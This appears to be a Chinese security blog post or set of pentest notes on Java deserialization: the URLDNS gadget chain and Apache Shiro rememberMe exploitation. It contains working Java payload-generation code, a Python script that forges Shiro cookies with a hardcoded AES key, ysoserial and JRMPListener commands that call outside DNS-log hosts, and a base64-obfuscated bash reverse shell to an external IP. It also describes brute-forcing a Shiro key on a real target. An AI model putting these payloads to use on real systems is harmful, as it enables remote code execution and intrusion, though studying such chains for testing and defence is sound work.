https://www.cnblogs.com/leyilea/p/18426070
https://www.cnblogs.com/gaorenyusi/p/18232899
1.URLDNS链简介
URLDNS链是其中一种利用方式,主要用于探测是否存在反序列化漏洞,因为它通常不会执行恶意代码,而是通过触发与远程服务器的DNS请求来确认漏洞的存在
- 用途:常用于黑盒测试中确认反序列化入口点。
- 优点:无害、稳定、跨 JDK 版本兼容性好。
- 核心类:java.net.URL + java.util.HashMap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
graph TD
A[攻击者构造 URL 对象<br/>http://attacker.dnslog.cn] --> B[将 URL 作为 key 放入 HashMap]
B --> C[序列化 HashMap 为字节流]
C --> D[发送 payload 到目标系统]
D --> E[目标调用 ObjectInputStream.readObject()]
E --> F[HashMap.readObject() 重建哈希表]
F --> G[对每个 key 调用 hash(key)]
G --> H[key.hashCode() 被调用<br/>(key 是 URL 对象)]
H --> I[URL.hashCode() 执行]
I --> J[因 hashCode == -1,<br/>调用 handler.hashCode()]
J --> K[触发 InetAddress.getByName(host)]
K --> L[发起 DNS 查询到 attacker.dnslog.cn]
L --> M[攻击者通过 DNS 日志确认漏洞存在]
HashMap.readObject()
└─ HashMap.putVal() (重建键值对)
└─ 调用 key.hashCode() (key 是 URL 对象)
└─ URL.hashCode()
└─ URLStreamHandler.hashCode()
└─ InetAddress.getByName(host) → DNS 查询!
|
1.首先HashMap实现了序列化接口,并且重写了readObject方法,我们知道,在反序列化时如果你自己重写了readObject方法,那么这个方法在反序列化时是会默认执行的,所以HashMap是一个天然的入口类,并且hashMap在反序列时会调用hash(key)方法
hash(key)方法作用:因为 HashMap 在反序列化时需要重建哈希表,所以会对每个 key 调用 **hashCode()** 来计算桶位置。

这个方法如果key不为null,则会调用key.hashCode方法

2.而URL的hashCode方法是被重写过的,如果hashCode不为-1,则会直接返回hashCode,如果hashCode为-1,则会执行handler.hashCode这个方法,这个方法会对外发起请求

3.所以URLDNS这条链需要2个必要条件
- URL在HashMap中要作为key值存在,否则不会调用key.hashCode这个方法,所以你的HashMap结构得为以下格式
1
|
HashMap<URL, Integer> hashMap = new HashMap<>();
|
- URL的hashCode必须为-1,默认hashCode就是-1,但是我们在序列化时如果hashCode为-1,则会发起请求,我们不想要序列化时发起请求,那么就需要使用反射先修改hashCode的值,在序列化之后反序列化之前修改回来即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class Serializable {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
HashMap<URL, Integer> hashMap = new HashMap<>();
URL url = new URL("http://9shx7ajt.dnslog.pw");
Class<? extends URL> urlClass = url.getClass();
Field hashCodeField = urlClass.getDeclaredField("hashCode");
//通过反射修改hashCode的默认值,让他序列化时不发起请求,反序列化时才发起请求
hashCodeField.setAccessible(true);
hashCodeField.set(url, 123); //修改值不为-1即可,防止误触发DNS
Object put = hashMap.put(url, 1);
hashCodeField.set(url, -1);
serialize(hashMap);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
}
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.ObjectInputStream;
public class unSerializable {
public static void main(String[] args) throws IOException, ClassNotFoundException {
unSerialize("ser.bin");
}
public static Object unSerialize(String fileName) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));
Object o = ois.readObject();
return o;
}
}
|
也可以使用https://github.com/0ofo/Deswing这个工具生成序列化好的文件检测是否存在反序列化漏洞

ysoserial生成URLDNS链
1
|
java --add-opens java.base/java.net=ALL-UNNAMED -cp ysoserial.jar ysoserial.GeneratePayload URLDNS "http://9shx7ajt.dnslog.pw" > urldns.bin
|
2.Shiro打DNSlog链(常用于有key无链)
https://cn-sec.com/archives/2673175.html
https://github.com/wyzxxz/shiro_rce_tool
https://mp.weixin.qq.com/s/5JP-lS9ty-vb-kK2IIn6xA?scene=1&click_id=3
2.1.如何确认爆破的Shiro key是正确的
当Shiro的key是错误的时候,响应包中Set-Cookie返回的是deleteMe

当Shiro的key是正确的时候,响应包中的Set-Cookie返回的是JSESSIONID
目前这个靶场正好是有key无链

2.2.Shiro打有key无链
https://mp.weixin.qq.com/s/EFAeVY2lRcAkEEt7AmNxGA
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
|
import sys
import os
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
java_path = r'C:\Program Files\Java\jdk1.8.0_202\bin\java.exe'
jar_path = 'ysoserial-all.jar'
if not os.path.isfile(java_path):
raise FileNotFoundError(f"Java not found: {java_path}")
if not os.path.isfile(jar_path):
raise FileNotFoundError(f"ysoserial JAR not found: {jar_path}")
popen = subprocess.Popen(
[java_path, '-jar', jar_path, 'URLDNS', command],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE
)
stdout, stderr = popen.communicate()
if popen.returncode != 0:
print("❌ ysoserial 错误:", stderr.decode(), file=sys.stderr)
sys.exit(1)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(stdout)
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
if len(sys.argv) != 2:
print("Usage: python shiro_dns.py <dnslog-domain>")
sys.exit(1)
try:
payload = encode_rememberme(sys.argv[1])
print("rememberMe={}".format(payload.decode()))
except Exception as e:
print("Error:", e, file=sys.stderr)
sys.exit(1)
python shiro_dns.py http://iugo8gzykflz3hg532wtgc9cw32uqpee.oastify.com
|

将生成的remember发送数据包

DNS成功接收到响应

1
|
java.exe -jar C:\Users\24767\Desktop\shirotool.jar http://127.0.0.1:8088/
|

URLDNS链


CommonsCollectionsK3链


JRMPClient链
https://github.com/woodpecker-framework/ysoserial-for-woodpecker
1
|
"C:\Program Files\Java\jdk1.8.0_202\bin\java.exe" -cp "D:\FOXTOOLS\gui_scan\ysoserial\ysoserial-for-woodpecker-0.5.2.jar" me.gv7.woodpecker.yso.exploit.JRMPListener 1238 CommonsBeanutils2_183 "raw_cmd:ping ob3uhlevm6txi25qbta5bjae359wxn2br.oastify.com"
|
不一定能利用成功的,也要看目标JDK版本和具体依赖
ysoserial 及其变种(包括 WoodPecker 定制版)的大多数 gadget 链(如 CommonsCollections、CommonsBeanutils、Jdk7u21 等)严重依赖 JDK 内部类(如 TemplatesImpl、AnnotationInvocationHandler),而这些类在 Java 9+ 被模块系统(JPMS)限制或移除,导致链子失效。


1
2
|
//反弹shell
java -cp ysoserial-for-woodpecker-0.5.2.jar me.gv7.woodpecker.yso.exploit.JRMPListener 1445 CommonsBeanutils2_183 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIxLjEyNy45MC82NzY3IDA+JjE=}|{base64,-d}|{bash,-i}
|
3.复杂请求下的Shiro反序列化漏洞
前段时间项目上碰到了几个复杂请求下的Shiro,目标环境:SpringBoot搭建的微服务项目,使用Resultful设计模式。
Burp插件扫描出网站使用Shiro框架,使用Shiro_attack工具进行探测,工具设置为GET请求能探测出存在Shiro框架,但是爆破不出密钥,设置为POST请求无法探测出存在Shiro框架

后来拿登录成功后的数据包进行发包探测,加上了token请求头和POST数据体才能探测出存在Shiro框架,但是这款工具有个Bug,就是工具默认使用的Content-Type为application/x-www-form-urlencoded,但是目标网站是Json传输,所以一直识别不了Shiro框架,后来想到一个法子,利用Burp的匹配和替换,将所有数据包请求头中的application/x-www-form-urlencoded替换为text/json,成功解决问题。工具挂上代理后成功爆破出Shiro的key
